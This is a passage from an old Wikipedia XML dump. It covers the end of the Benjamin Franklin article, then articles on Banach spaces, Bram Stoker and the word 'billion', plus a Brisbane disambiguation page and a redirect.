* The [[2004]] [[movie]], ''[[National Treasure]]'', has the main characters trying to collect clues left by Benjamin Franklin to discover a treasure that he supposedly hid.  The character played by [[Nicolas Cage]] was named &quot;Benjamin Franklin Gates&quot;, in following with the Gates family tradition to name sons after Franklin and his contemporaries.
* The [[Franklin Templeton Investments]] firm (originally Franklin Distributors, Inc.) was named in honor of Benjamin Franklin and uses his [[portrait]] in their [[logo]].
* Franklin was summoned via [[witchcraft]] into the [[twentieth century]] for a 2-part episode on the TV show ''[[Bewitched]]''.
* The [[children's literature|children's novel]], ''[[Qwerty Stevens: Stuck in Time with Benjamin Franklin]]'', has the main characters using their [[time travel|time machine]] to bring Ben Franklin into modern times and then to travel back with him to [[1776]].
* A [[1992]] [[Saturday Night Live]] [[parody|spoof]] of ''[[Quantum Leap]]'', &quot;Founding Fathers&quot;, had Ben Franklin traveling through time with [[George Washington]] and [[Thomas Jefferson]] to help modern day Americans with [[deficit]] reduction, only to find twentieth century [[reporters]] are only interested in [[scandal]] and [[sensationalism]].
* The science-fiction TV show ''[[Voyagers!]]'' had the main characters helping Ben Franklin fly his [[kite flying|kite]] in one episode and save his mother from a fictionalized [[salem witch trials|Salem Witch Trial]] in the next episode.
* Comedian [[Stephen Colbert]] interviewed Franklin on his March 1, 2006 show, questioning him about his national bird proposal, his inventions, how he died, and whether he took money from [[Jack Abramoff]].

==See also==
*[[Contributions to liberal theory]]
*[[Liberalism]]
*[[List of places named for Benjamin Franklin]]

==References==

===Secondary sources===
*Douglas Anderson. ''The Radical Enlightenments of Benjamin Franklin'' (1997). BF in terms of intellectual history
*[http://tigger.uic.edu/~rjensen/franklin.htm#becker Carl Becker, &quot;Franklin&quot;]. Biography written in 1931, with links to sources.
*H. W. Brands. ''The First American: The Life and Times of Benjamin Franklin'' (2000)
*M. H. Buxbaum., ed. ''Critical Essays on Benjamin Franklin'' (1987).
*[[I. Bernard Cohen|I. Bernard Cohen]]. ''Benjamin Franklin's Science'' (1990). One of several books by Cohen on Franklin's science.
*Paul W. Conner.  ''Poor Richard's Politicks'' (1965). Analyzes BF's ideas in terms of the Enlightenment
*[http://cdl.library.cornell.edu/cgi-bin/moa/sgml/moa-idx?notisid=ABP2287-0057-169 &quot;Franklin as Printer and Publisher&quot;] in ''The Century'' (April 1899) v. 57 pp. 803-18. By Paul Leicester Ford.
*[http://cdl.library.cornell.edu/cgi-bin/moa/sgml/moa-idx?notisid=ABP2287-0058-172  &quot;Franklin as Scientist&quot;] in ''The Century'' (Sept 1899) v.57 pp. 750-63. By Paul Leicester Ford.
*[http://cdl.library.cornell.edu/cgi-bin/moa/sgml/moa-idx?notisid=ABP2287-0058-201   &quot;Franklin as Politician and Diplomatist&quot;] in ''The Century'' (Oct 1899) v. 57 pp. 881-899. By Paul Leicester Ford.
*Walter Isaacson. ''Benjamin Franklin: An American Life'' (2002). Popular biography.
*[http://www.questia.com/PM.qst?a=o&amp;d=34300175 Ralph L. Ketcham,  ''Benjamin Franklin'' (1966)] Short biography.
*Edmund S. Morgan. ''Benjamin Franklin'' (2003). Short introduction to Franklin.
*Stacy Schiff. ''A Great Improvisation: Franklin, France, and the Birth of America'' (2005)
*[http://www.bartleby.com/225/index.html#6 Stuart Sherman &quot;Franklin&quot; ] 1918 article on Franklin's writings.
*Carl Van Doren. ''Benjamin Franklin'' (1938; reprinted 1991). Biography. 
*Gordon Wood, ''The Americanization of Benjamin Franklin'' (2005). Interpretive essay.
*Blaine McCormick, editor, ''Ben Franklin: America's Original Entrepreneur -- Franklin's Autobiography for Modern Times'' (2005).  The only modern adaptation of Franklin's original 18th-century Autobiography.

===Primary sources===
*''Benjamin Franklin Reader'' edited by Walter Isaacson (2003)
*''Writings'' (The Library of America edition) (1987), available online at [http://www.infomotions.com/etexts/literature/american/1700-1799/]
*[http://www.yale.edu/franklinpapers/index.html] Leonard Labaree, et al., eds., ''The Papers of Benjamin Franklin'', 37 vols. to date (1959-2003), definitive edition, through 1781. This massive collection of BF's writings, and letters to him, is available in large academic libraries. It is most useful for detailed research on specific topics.  [http://www.yale.edu/franklinpapers/indexintro.html] The ''Index'' is online.
*&quot;''[[The Way to Wealth]]''.&quot; Applewood Books; November 1986. ISBN 0918222885
*&quot;''[[The Autobiography of Benjamin Franklin]]''.&quot; Dover Pubns; June 7, 1996. ISBN 0486290735
*&quot;''[[Poor Richard's Almanack]]''.&quot; Peter Pauper Press; November 1983. ISBN 0880889187
* ''Poor Richard Improved'' by Benjamin Franklin (1751)
*&quot;''[[The Poetry of Minor Connecticut Wits]]''.&quot; Scholars Facsimilies &amp; Reprint; September 2000. ISBN 0820110663
*&quot;''[[Writings (Franklin)|Writings]]''.&quot; ISBN 0940450291
*&quot;''[[On Marriage]]''.&quot;
*&quot;''[[Satires and Bagatelles]]''.&quot;
*&quot;''[[A Dissertation on Liberty and Necessity, Pleasure and Pain]]''.&quot;
*&quot;''[[Fart Proudly: Writings of Benjamin Franklin You Never Read in School]]''.&quot; Carl Japikse, Ed. Frog Ltd.; Reprint ed. May, 2003. ISBN 1583940790

==External links==
{{Wikiquote}}
{{Commons|Benjamin Franklin}}
*{{gutenberg author| id=Benjamin+Franklin | name=Benjamin Franklin}}
*[http://literalsystems.org/abooks/doku.php?id=audiobook:dialogue_between_franklin_and_the_gout &quot;Dialogue Between Franklin and the Gout&quot; Creative Commons audio recording.]
*[http://www.benfranklin300.com/ Benjamin Franklin 300 (1706 - 2006)] - The official web site of the Benjamin Franklin Tercentenary.
*[http://tigger.uic.edu/~rjensen/franklin.htm Guide to Benjamin Franklin]
*[http://teachpol.tcnj.edu/amer_pol_hist/thumbnail15.html Portrait of Benjamin Franklin (PD)] ([http://teachpol.tcnj.edu/amer_pol_hist/fi/0000000f.htm large version])
*[http://www.pbs.org/benfranklin/ Website for PBS Franklin Television Series]
*[http://www.aip.org/history/gap/ Published physics papers - Letter IV: Farther Experiments and Observations in Electricitry and Letter XI]
*[http://www.state.gov/r/pa/ho/time/ar/14308.htm US State Department - Benjamin Franklin: First American Diplomat]
*[http://www.tufts.edu/as/wright_center/fellows/bob_morse_04/ A Comprehensive Collection of Franklin&amp;#8217;s Electrical Works: The Electrical Writings of Benjamin Franklin, Created and Collected by Robert A. Morse (2004)]
*[http://www.benjaminfranklinhouse.org The website of Benjamin Franklin House, 36 Craven Street, London, his only surviving residence which is now being converted into a Franklin museum and study-centre]
*e-texts of Benjamin Franklin's autobiography
**[http://www.ushistory.org/franklin/autobiography/ HTML version] at [http://www.ushistory.org/franklin/ The Electric Ben Franklin]
**[http://www.gutenberg.net/etext/148 Project Gutenberg edition]
**[http://www.ftrain.com/franklin_improving_self.html Franklins list of 13 virtues]
*[http://www.litencyc.com/php/speople.php?rec=true&amp;UID=4994 Franklin, Benjamin (1706-1790), ''The Literary Encyclopedia'']
*{{MacTutor Biography|id=Franklin_Benjamin}}
*[http://www.planetware.com/boston/ben-franklin-birthplace-us-ma-ben.htm Franklin's birthplace with map]
*[http://ben.clusty.com/ Ben Franklin web portal] at Clusty.com
*[http://digitalcommons.unl.edu/libraryscience/25/ The Constitutions of the Free-Masons (1734). An Online Electronic Edition.] Edited and published by Franklin the year he became Grand Master of Masons of Pennsylvania
*[http://www.english.udel.edu/lemay/franklin/  Benjamin Franklin: A Documentary History] by J. A. Leo Lemay


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&lt;!--[[Image:Benjaminfranklin.jpg|thumb|240px|Portrait of Benjamin Franklin]]--&gt;

[[Category:1706 births|Franklin]]
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  <page>
    <title>Banach space</title>
    <id>3989</id>
    <revision>
      <id>42055826</id>
      <timestamp>2006-03-03T14:23:34Z</timestamp>
      <contributor>
        <username>Buster79</username>
        <id>307253</id>
      </contributor>
      <minor />
      <comment>/* Relationship to Hilbert spaces */ changed a semicolon and a comma to a pair of em dashes</comment>
      <text xml:space="preserve">In [[mathematics]], '''Banach spaces''', named after [[Stefan Banach]] who studied them, are one of the central objects of study in [[functional analysis]]. Many of the infinite-dimensional [[function space]]s studied in functional analysis are examples of Banach spaces.

== Definition ==

Banach spaces are defined as [[completeness (topology)|complete]] [[normed vector space]]s. This means that a Banach space is a [[vector space]] ''V'' over the [[real number|real]] or [[complex number|complex]] numbers with a [[normed vector space|norm]] ||.|| such that every [[Cauchy sequence]] (with respect to the [[metric space|metric]] ''d''(''x'', ''y'') = ||''x'' - ''y''||) in ''V'' has a [[limit (mathematics)|limit]] in ''V''.  Since the norm induces a [[topological space|topology]] on the vector space, a Banach space provides an example of a [[topological vector space]].

== Examples ==

Throughout, let '''K''' stand for one of the [[field (mathematics)|field]]s '''R''' or '''C'''.

The familiar [[Euclidean space]]s '''K'''&lt;sup&gt;''n''&lt;/sup&gt;, where the Euclidean norm of ''x'' = (''x''&lt;sub&gt;1&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''n''&lt;/sub&gt;) is given by ||''x''|| = (&amp;sum; |''x''&lt;sub&gt;''i''&lt;/sub&gt;|&lt;sup&gt;2&lt;/sup&gt;)&lt;sup&gt;1/2&lt;/sup&gt;, are Banach spaces.

The space of all [[continuous function|continuous]] functions ''f'' : [''a'', ''b'']
&amp;rarr; '''K''' defined on a closed [[interval (mathematics)|interval]] [''a'', ''b'']
becomes a Banach space if we define the norm of such a function as ||''f''|| = sup { |''f''(''x'')| : ''x'' in [''a'', ''b''] }. This is indeed a norm since continuous functions defined on a closed interval are bounded. The space is complete under this norm, and the resulting Banach space is denoted by C[''a'', ''b'']. This example can be generalized to the space C(''X'') of all continuous functions ''X'' &amp;rarr; '''K''', where ''X'' is a [[compact space]], or to the space of all ''bounded'' continuous functions ''X'' &amp;rarr; '''K''', where ''X'' is any [[topological space]], or indeed to the space B(''X'') of all bounded functions ''X'' &amp;rarr; '''K''', where ''X'' is any [[set]]. In all these examples, we can multiply functions and stay in the same space: all these examples are in fact
unital [[Banach algebra]]s.

If ''p'' &amp;ge; 1 is a real number, we can consider the space of all infinite [[sequence]]s (''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ''x''&lt;sub&gt;3&lt;/sub&gt;, ...) of elements in '''K''' such that the [[infinite series]] &amp;sum;&lt;sub&gt;i&lt;/sub&gt; |''x''&lt;sub&gt;''i''&lt;/sub&gt;|&lt;sup&gt;''p''&lt;/sup&gt; is finite. The ''p''-th root of this series' value is then defined to be the ''p''-norm of the sequence. The space, together with this norm, is a Banach space; it is denoted by ''l&lt;sup&gt; p&lt;/sup&gt;''. 

The Banach space ''l&lt;sup&gt;&amp;infin;&lt;/sup&gt;'' consists of all bounded sequences of elements in '''K'''; the norm of such a sequence is defined to be the supremum of the absolute values of the sequence's members.

Again, if ''p'' &amp;ge; 1 is a real number, we can consider all functions ''f'' : [''a'', ''b''] &amp;rarr; '''K''' such that |''f''|&lt;sup&gt;''p''&lt;/sup&gt; is [[Lebesgue integration|Lebesgue integrable]]. The ''p''-th root of this integral is then defined to be the norm of ''f''. By itself, this space is not a Banach space because there are non-zero functions whose norm is zero. We define an [[equivalence relation]] as follows: ''f'' and ''g'' are equivalent if and only if the norm of ''f'' - ''g'' is zero. The set of [[equivalence class|equivalence classes]] then forms a Banach space; it is denoted by L&lt;sup&gt;'' p''&lt;/sup&gt;[''a'', ''b'']. It is crucial to use the Lebesgue integral and not the Riemann integral here, because the Riemann integral would not yield a complete space. These examples can be generalized; see [[Lp space|L&lt;sup&gt;&amp;nbsp;''p''&lt;/sup&gt; spaces]] for details.

If ''X'' and ''Y'' are two Banach spaces, then we can form their [[direct sum#Direct sum of Banach spaces|direct sum]] ''X'' &amp;oplus; ''Y'', which is again a Banach space. This construction can be generalized to the direct sum of arbitrarily many Banach spaces.

If ''M'' is a closed [[linear subspace|subspace]] of the Banach space ''X'', then the [[quotient space#Quotient of a Banach space by a subspace|quotient space]] ''X''/''M'' is again a Banach space.

Every [[inner product]] gives rise to an associated norm.  The inner product space is called a [[Hilbert space]] if its associated norm is complete.  Thus every Hilbert space is a Banach space by definition.  The converse statement also holds under certain conditions; see below.

== Linear operators ==

If ''V'' and ''W'' are Banach spaces over the same ground field '''K''', the set of all [[continuous function (topology)|continuous]]
[[linear transformation|'''K'''-linear maps]] ''A'' : ''V'' &amp;rarr; ''W''
is denoted by L(''V'', ''W''). Note that in infinite-dimensional
spaces, not all linear maps are automatically continuous. L(''V'', ''W'') is a vector space, and by defining the norm ||''A''|| =  sup { ||''Ax''|| : ''x'' in ''V'' with ||''x''|| &amp;le; 1 } it can be turned into a Banach space. 

The space L(''V'') = L(''V'', ''V'') even forms a unital [[Banach algebra]]; the multiplication operation is given by the composition of linear maps.

== Dual space ==

If ''V'' is a Banach space and '''K''' is the underlying [[field (mathematics)|field]] (either the [[real number|real]] or the [[complex number|complex]] numbers), then '''K''' is itself a Banach space (using the [[absolute value]] as norm) and we can define the ''[[dual space]]'' ''V''&lt;nowiki&gt;′&lt;/nowiki&gt; as ''V''&lt;nowiki&gt;′&lt;/nowiki&gt; = L(''V'', '''K'''), the space of continuous linear maps into '''K'''. This is again a Banach space (with the [[operator norm]]). It can be used to define a new [[topology]] on ''V'': the [[weak topology]].  

Note that the requirement that the maps be continuous is essential; if ''V'' is infinite-dimensional, there exist linear maps which are not continuous, and therefore not [[bounded function|bounded]], so the space ''V''&lt;sup&gt;*&lt;/sup&gt; of linear maps into '''K''' is not a Banach space.  The space ''V''* (which may be called the algebraic dual space to distinguish it from ''V''&lt;nowiki&gt;'&lt;/nowiki&gt;) also induces a weak topology which is [[finer topology|finer]] than that induced by the continuous dual since ''V''&lt;nowiki&gt;′&lt;/nowiki&gt;&amp;sube;''V''*.

There is a natural map ''F'' from ''V'' to ''V''&lt;nowiki&gt;′′&lt;/nowiki&gt; (the dual of the dual)  defined by
:''F''(''x'')(''f'') = ''f''(''x'')
for all ''x'' in ''V'' and ''f'' in ''V''&lt;nowiki&gt;′&lt;/nowiki&gt;.  Because ''F''(''x'') is a map from ''V''′ to '''K''', it is an element of ''V''&lt;nowiki&gt;′′&lt;/nowiki&gt;.  The map ''F'': ''x'' &amp;rarr; ''F''(''x'') is thus a map ''V'' &amp;rarr; ''V''&lt;nowiki&gt;′′&lt;/nowiki&gt;.  As a consequence of the [[Hahn-Banach theorem]], this map is [[injective]]; if it is also [[surjective]], then the Banach space ''V'' is called [[reflexive space|reflexive]]. Reflexive spaces have many important geometric properties. A space is reflexive if and only if its dual is reflexive, which is the case if and only if its unit ball is [[compact space|compact]] in the weak topology.

For example, ''l&lt;sup&gt;p&lt;/sup&gt;'' is reflexive for ''1&lt;p&lt;&amp;infin;'' but ''l&lt;sup&gt;1&lt;/sup&gt;'' and ''l&lt;sup&gt;&amp;infin;&lt;/sup&gt;'' are not reflexive. The dual of ''l&lt;sup&gt;p&lt;/sup&gt;'' is ''l&lt;sup&gt;q&lt;/sup&gt;'' where ''p'' and ''q'' are related by the formula (1/''p'') + (1/''q'') = 1. See [[Lp space|L&lt;sup&gt;&amp;nbsp;''p''&lt;/sup&gt; spaces]] for details.

== Relationship to Hilbert spaces ==

As mentioned above, every Hilbert space is a Banach space because, by definition, a Hilbert space is complete with respect to the norm associated with its inner product, where a norm and an inner product are said to be associated if ||'''v'''||² = ('''v''','''v''') for all '''v'''.

The converse is not always true; not every Banach space is a Hilbert space.  A necessary and sufficient condition for a Banach space ''V'' to be associated to an inner product (which will then necessarily make ''V'' into a Hilbert space) is the '''[[parallelogram identity]]''':

:&lt;math&gt;\|u+v\|^2 + \|u-v\|^2 = 2(\|u\|^2 + \|v\|^2)&lt;/math&gt;

for all ''u'' and ''v'' in ''V'', and where ||*|| is the norm on ''V''.

If the norm of a Banach space satisfies this identity, the associated inner product which makes it into a Hilbert space is given by the '''polarization identity'''.  If ''V'' is a real Banach space, then the polarization identity is 

:&lt;math&gt;(u,v) = \frac{1}{4} (\|u+v\|^2 - \|u-v\|^2)&lt;/math&gt;

whereas if ''V'' is a complex Banach space, then the polarization identity is given by 

:&lt;math&gt;(u,v) = \frac{1}{4} \left(\|u+v\|^2 - \|u-v\|^2 + i(\|u+iv\|^2 - \|u-iv\|^2)\right).&lt;/math&gt;

The necessity of this condition follows easily from the properties of an inner product.  To see that it is sufficient&amp;mdash;that the parallelogram law implies that the form defined by the polarization identity is indeed a complete inner product&amp;mdash;one verifies algebraically that this form is additive, whence it follows [[mathematical induction|by induction]] that the form is linear over the integers and rationals.  Then since every real is the limit of some Cauchy sequence of rationals, the completeness of the norm extends the linearity to the whole real line.  In the complex case, one can check also that the bilinear form is linear over ''i'' in one argument, and conjugate linear in the other.

== Derivatives ==
Several concepts of a derivative may be defined on a Banach space. See the articles on the [[Fréchet derivative]] and the [[Gâteaux derivative]].

== Generalizations ==

Several important spaces in functional analysis, for instance the space of all infinitely often differentiable functions '''R''' &amp;rarr; '''R''' or the space of all [[distribution (mathematics)|distribution]]s on '''R''', are complete but are not normed vector spaces and hence not Banach spaces. In [[Frechet space|Fréchet spaces]] one still has a complete [[metric space|metric]], while [[LF-space]]s are complete [[uniform space|uniform]] vector spaces arising as limits of Fréchet spaces.

== Literature ==
Historical monographs in English, French and Polish:
 
*[[Stefan Banach]]: [http://matwbn.icm.edu.pl/kstresc.php?tom=1&amp;wyd=10 Théorie des opérations linéaires]. -- Warszawa 1932. (Monografie Matematyczne; 1)  [http://www-irma.u-strasbg.fr/math-cgi-bin/zmen/ZMATH/en/quick.html?format=complete&amp;type=html&amp;an=0005.20901 Zbl 0005.20901]

== External links ==
For historical references see the Banach space entry in
*[http://members.aol.com/jeff570/b.html Earliest known uses of some of the words of mathematics: B]

[[Category:Banach spaces|*]]

[[cs:Banachův prostor]]
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[[zh:巴拿赫空间]]</text>
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    <id>3990</id>
    <revision>
      <id>29668006</id>
      <timestamp>2005-11-30T05:56:01Z</timestamp>
      <contributor>
        <username>SauliH</username>
        <id>528187</id>
      </contributor>
      <comment>/* People */</comment>
      <text xml:space="preserve">This article resolves the various uses of the name '''Brisbane'''.

==Places==
In [[Australia]]
:* [[Brisbane]] - the state capital of [[Queensland]], [[Australia]]
:* [[Brisbane River]] - a river which flows through Brisbane, Queensland, Australia
:* [[Mount Brisbane]] - a mountain at the headwaters of the Brisbane River, Queensland, Australia
:* [[Brisbane Ranges National Park]] - a NP west of [[Melbourne]], [[Victoria (Australia)|Victoria]], Australia
:* [[Brisbane Water National Park]] - a NP north of [[Sydney]], [[New South Wales]], Australia

In the [[United States|United States of America]]
:* [[Brisbane, California]] - a city in [[California]], [[United States]]

In [[Outer space|Outer Space]]
:* [[Brisbane (crater)]] - a moon crater

==People==

* [[Thomas Brisbane|Sir Thomas Brisbane]] (1773-1860) - Governor of New South Wales from 1821 to 1825 after whom Queensland's eminent city Brisbane is named.
* [[Charles Brisbane|Sir Charles Brisbane]] (1769-1829) - Admiral of the Royal Navy
{{disambig}}

[[bg:Бризбейн (пояснение)]]</text>
    </revision>
  </page>
  <page>
    <title>Bits</title>
    <id>3991</id>
    <revision>
      <id>25328334</id>
      <timestamp>2005-10-12T03:15:47Z</timestamp>
      <contributor>
        <username>Luigizanasi</username>
        <id>152315</id>
      </contributor>
      <comment>redirect to [[Bit]]</comment>
      <text xml:space="preserve">#redirect [[Bit]]</text>
    </revision>
  </page>
  <page>
    <title>Bram Stoker</title>
    <id>3992</id>
    <revision>
      <id>40070234</id>
      <timestamp>2006-02-17T22:40:09Z</timestamp>
      <contributor>
        <username>Woodstockrocker</username>
        <id>950892</id>
      </contributor>
      <comment>/* Online texts */</comment>
      <text xml:space="preserve">'''Abraham &quot;Bram&quot; Stoker''' ([[November 8]], [[1847]]&amp;#8211;[[April 20]], [[1912]]) was an [[Ireland|Irish]] writer, best remembered as the author of the influential horror novel ''[[Dracula]]''.

[[Image:Bram_Stoker.jpg|framed|]]
==His life==
He was born on [[November 8]], [[1847]] at [[Clontarf, Dublin|Clontarf]] in [[Ireland]], a coastal suburb of [[Dublin]]. Until he was 8 years old, recurring illness ensured that he could neither stand up nor walk on his own. This illness and helplessness was a traumatic experience which is noticeable in his literary work. Everlasting sleep and the [[resurrection]] from the dead, which are the central themes of ''Dracula'' , were of great importance for him, because he was forced to spend much of his life in bed.

Not only his illness but also his convalescence were considered miracles by his doctors. After his recovery, he became a normal young man who even became an [[athlete]] and soccer-star at the University of Dublin, where he studied history, literature, mathematics and physics at [[Trinity College Dublin|Trinity College]]. He was also president of the [[University Philosophical Society (Trinity College, Dublin)|University Philosophical Society]], where his first paper was on &quot;Sensationalism in Fiction and Society&quot;, and auditor of the [[College Historical Society (Trinity College, Dublin)|College Historical Society]]. He became a civil servant, a career that didn't satisfy him. So he started to work as a [[journalist]] and as a drama [[critic]] (''The Evening Mail''). His interest in theatre lead to a lifelong friendship with the actor [[Henry Irving]].

Stoker married [[Florence Balcome]], a former girlfriend of [[Oscar Wilde]], in [[1878]].  (This reportedly inspired Wilde to leave Ireland.)  Stoker moved with his wife to [[London]], where he became business manager of Irving's [[Lyceum Theatre (London)|Lyceum Theatre]], a post he held for 27 years. The collaboration with Irving was very important for Stoker. Through him he became involved in London's high society, where he met [[James McNeil Whistler]] and [[Sir Arthur Conan Doyle]]. In the course of Irving's tours he got the chance to travel around the world.

==Dracula==
[[Image:Dracula1st.jpeg|thumb|'''Dracula''' by [[Bram Stoker]], 1st edition cover, [[Archibald Constable and Company]], ''1897'']]
{{main|Dracula}}
He supplemented his income by writing a large number of sensational novels, his most famous being the vampire tale ''[[Dracula]]'' which he published in [[1897]]. Before writing ''Dracula'', Stoker spent eight years researching European folklore and stories of vampires. ''Dracula'' is an [[epistolary novel]], written as collection of diary entries, telegrams, and letters from the characters, as well as fictional clippings from the [[Whitby]] and London newspapers.  

''Dracula'' has been the basis for countless [[film]]s and plays. The two that most closely follow the plot of the original novel are ''[[Nosferatu]]'' (1922) and ''[[Bram Stoker's Dracula]]'' (1992).  ''Nosferatu'' was produced while Stoker's widow was still alive, and the filmmakers were forced to change the setting and the names of the characters for copyright reasons.  

Stoker wrote several other novels dealing with horror and supernatural themes, but none achieved the lasting fame or success of ''Dracula''.  His other novels include ''[[The Snake's Pass]]'' ([[1890]]), ''[[The Jewel of Seven Stars]]'' ([[1903]]), and ''[[The Lair of the White Worm]]'' (1911).

== Works ==
===Novels===
* ''The Primrose Path'' (1875)
* ''[[The Snake's Pass]]'' ([[1890]])
* ''The Watter's Mou' '' (1895)
* ''The Shoulder of Shasta'' (1895)
* ''[[Dracula]]'' ([[1897]])
* ''Miss Betty'' (1898)
* ''The Mystery of the Sea'' (1902)
* ''[[The Jewel of Seven Stars]]'' ([[1903]])
* ''The Man'' (AKA: ''The Gates of Life'') (1905)
* ''Lady Athlyne'' (1908)
* ''Snowbound: The Record of a Theatrical Touring Party'' (1908)
* ''The Lady of the Shroud'' (1909)
* ''[[Lair of the White Worm]]'' ([[1911]])

===Short Story Collections===
[[Image:Bram_Stoker_Plaque_Whitby_England.jpg|right|thumb|150px|Bram Stoker Commemorative Plaque, Whitby, England (2002)]]
* ''Under the Sunset'' (1881)
** ''Under the Sunset'' 
** ''The Rose Prince''
** ''The Invisible Giant''
** ''The Shadow Builder''
** ''How 7 Went Mad''
** ''Lies and Lilies''
** ''The Castle of the King''
** ''The Wondrous Child''
* ''Dracula's Guest'' (1914)(Published [[posthumously]] by Florence Stoker)
** ''Dracula's Guest''
** ''The Judge's House''
** ''The Gipsy Prophecy''
** ''The Coming of Abel Behenna''
** ''The Burial of the Rats''
** ''A Dream of Red Hands''
** ''Crooken Sands''
** ''The Secret of the Growing Gold''

===Uncollected Stories===

* ''Bridal of Dead'' (alternative ending to ''[[The Jewel of Seven Stars]]'')
* ''Buried Treasures''
* ''The Chain of Destiny''
* ''The Crystal Cup''
* ''The Dualitists; or, The Death Doom of the Double Born''
* ''The Fate of Fenella''
* ''The Gombeen Man''
* ''In the Valley of the Shadow''
* ''The Man from Shorrox'''
* ''Midnight Tales''
* ''The Red Stockade''
* ''The Seer''

===Biography===

* ''Personal Reminiscences of Henry Irving'' (Two Volumes) (1906)
(This was initially Stoker`s most famous book.)

===Non-Fiction===

* ''The Duties of Clerks of Petty Sessions in Ireland'' (1879)
* ''A Glimpse of America'' (1886)
* ''Famous Impostors'' (1910)

==References==

*[http://Stoker.thefreelibrary.com/ Bram Stoker's brief biography and works]

==See also==
* ''[[Blood from the Mummy's Tomb]]'' (film adaptation of ''The Jewel of Seven Stars'')

==External links==
*[http://www.bbc.co.uk/dna/h2g2/A588233 h2g2 article on Bram Stoker]

==Online texts==
{{wikisource}}
* {{gutenberg author| id=Bram+Stoker | name=Bram Stoker}}
*[http://www.classic-literature.co.uk/bram-stoker/ Bram Stoker Books] in HTML format.

[[Category:1847 births|Stoker, Bram]]
[[Category:1912 deaths|Stoker, Bram]]
[[Category:Irish novelists|Stoker, Bram]]
[[Category:Irish horror writers|Stoker, Bram]]
[[Category:Anglicans|Stoker, Bram]]
[[Category:People associated with Trinity College, Dublin|Stoker, Bram]]
[[Category:Natives of County Dublin|Stoker, Bram]]

[[bg:Брам Стокър]]
[[cs:Bram Stoker]]
[[da:Bram Stoker]]
[[de:Bram Stoker]]
[[et:Bram Stoker]]
[[es:Bram Stoker]]
[[eo:Bram STOKER]]
[[fr:Bram Stoker]]
[[gl:Bram Stoker]]
[[it:Bram Stoker]]
[[hu:Bram Stoker]]
[[nl:Bram Stoker]]
[[ja:ブラム・ストーカー]]
[[no:Bram Stoker]]
[[pl:Bram Stoker]]
[[pt:Bram Stoker]]
[[sk:Bram Stoker]]
[[fi:Bram Stoker]]
[[sv:Bram Stoker]]</text>
    </revision>
  </page>
  <page>
    <title>Billion</title>
    <id>3993</id>
    <revision>
      <id>40774067</id>
      <timestamp>2006-02-22T22:55:00Z</timestamp>
      <contributor>
        <username>Georgia guy</username>
        <id>161456</id>
      </contributor>
      <comment>/* Trivia */ Gender neutrality</comment>
      <text xml:space="preserve">:''For the modem manufacturer, see [[Billion (company)]].''

The word &quot;'''billion'''&quot; and its equivalents in other [[language]]s refer to one of two different [[number]]s, depending on whether the writer is using the [[long and short scales|long or short scale]].

==10&lt;span style=&quot;display:none;&quot;&gt;^&lt;/span&gt;&lt;sup&gt;12&lt;/sup&gt;==
The original meaning, established in the 15th century, was &quot;a million of a million&quot; (1,000,000&lt;sup&gt;2&lt;/sup&gt;, hence the name '''bi'''llion), or 10&lt;sup&gt;12&lt;/sup&gt; = 1&amp;nbsp;000&amp;nbsp;000&amp;nbsp;000&amp;nbsp;000. This system, known in French as the ''échelle longue'' (&quot;[[long and short scales|long scale]]&quot;), was used until recently in the [[United Kingdom]], and is used in most countries where [[English language|English]] is not the primary language.
10&lt;sup&gt;12&lt;/sup&gt; is referred to as a [[trillion]] in the &quot;short scale&quot; system.

==10&lt;span style=&quot;display:none;&quot;&gt;^&lt;/span&gt;&lt;sup&gt;9&lt;/sup&gt;==
In the late 17th century a change was made in the way of writing large numbers. Numbers had been separated into groups of six digits, but at this time the modern grouping of three digits came into use. As a result, a minority of Italian and French scientists began using the word &quot;billion&quot; to mean 10&lt;sup&gt;9&lt;/sup&gt; (one thousand million, or 1&amp;nbsp;000&amp;nbsp;000&amp;nbsp;000), and correspondingly redefined ''trillion'' and higher numbers to mean powers of one thousand rather than one million. This is known in French as the ''échelle courte'' (&quot;[[long and short scales|short scale]]&quot;) and is now generally used by [[English language|English-speaking]] countries, as well as [[Brazil]], [[Puerto Rico]], [[Turkey]] and [[Greece]].

==Synonyms==
Use of &quot;thousand million&quot; for 10&lt;sup&gt;9&lt;/sup&gt; and &quot;million million&quot; for 10&lt;sup&gt;12&lt;/sup&gt; can avoid ambiguity; however, British media, including the [[BBC]], which long used &quot;thousand million&quot; for this reason, use &quot;billion&quot; to mean 10&lt;sup&gt;9&lt;/sup&gt;. The old word &quot;[[milliard]]&quot;, also found in many other languages, can be used for 10&lt;sup&gt;9&lt;/sup&gt; but is unfamiliar even to many native English speakers. See [[long and short scales]] for a more detailed discussion and usage advice.

==Trivia==
The facts below give a sense of how large one billion (taken as 10&lt;sup&gt;9&lt;/sup&gt;) is in the context of passage of time.

* About a billion seconds ago, the parents of [[middle school]] children were themselves in [[elementary school]]. (One billion seconds is roughly 31.7 years.)

* About a billion minutes ago, the [[Roman Empire]] was flourishing. (One billion minutes is roughly 1,900 years.)

* About a billion hours ago, [[Human|modern human beings]] and [[Human evolution|their ancestors]] were living in the [[Stone Age]] (more precisely, the [[Middle Paleolithic]]). (One billion hours is roughly 114,000 years.)

* About a billion [[days]] ago, ''[[Australopithecus]]'', an ape-like creature related to an ancestor of modern humans, roamed the African [[savanna]]s. (One billion days is roughly 2.7 million years.)

* About a billion [[month]]s ago, [[dinosaur]]s walked the earth during the late [[Cretaceous]]. (One billion months is roughly 82 million years.)

* About a billion years ago, the first [[multicellular organism]]s [[Timeline of evolution|appeared]] on Earth. (The [[universe]] is now thought to be about 13.7 billion years old.)

In terms of distance:

* A billion [[centimeter]]s is about the distance from [[Chicago]], [[Illinois]], [[USA]] to [[Tokyo]], [[Japan]].

* A billion [[inch]]es is 15,783 [[mile|miles]], more than halfway around the world and sufficient to reach any point on the globe from any other point.

* A billion [[meters]] is almost three times the distance from the [[Earth]] to the [[Moon]].

==See also==
* [[Long and short scales]]
* [[American and British English differences]]
* [[Millionaire]]
* [[False friend]]s
* [[Large numbers]]
* [[Number names]]
* [[1 E9]] and [[giga]] (or [[1 E12]] and [[tera]]) for a list of occurrences of numbers of this magnitude
* [[1000000000 (number)]]

==External links==
*[http://alt-usage-english.org/excerpts/fxbill00.html alt.usage.english FAQ]

[[Category:Integers]]
[[Category:Large numbers]]

[[da:Billion]]
[[de:Billion]]
[[es:Billón]]
[[eo:Biliono]]
[[fr:Billion]]
[[gl:Billón]]
[[it:Bilione]]
[[hu:Billió]]
[[nl:Biljoen]]
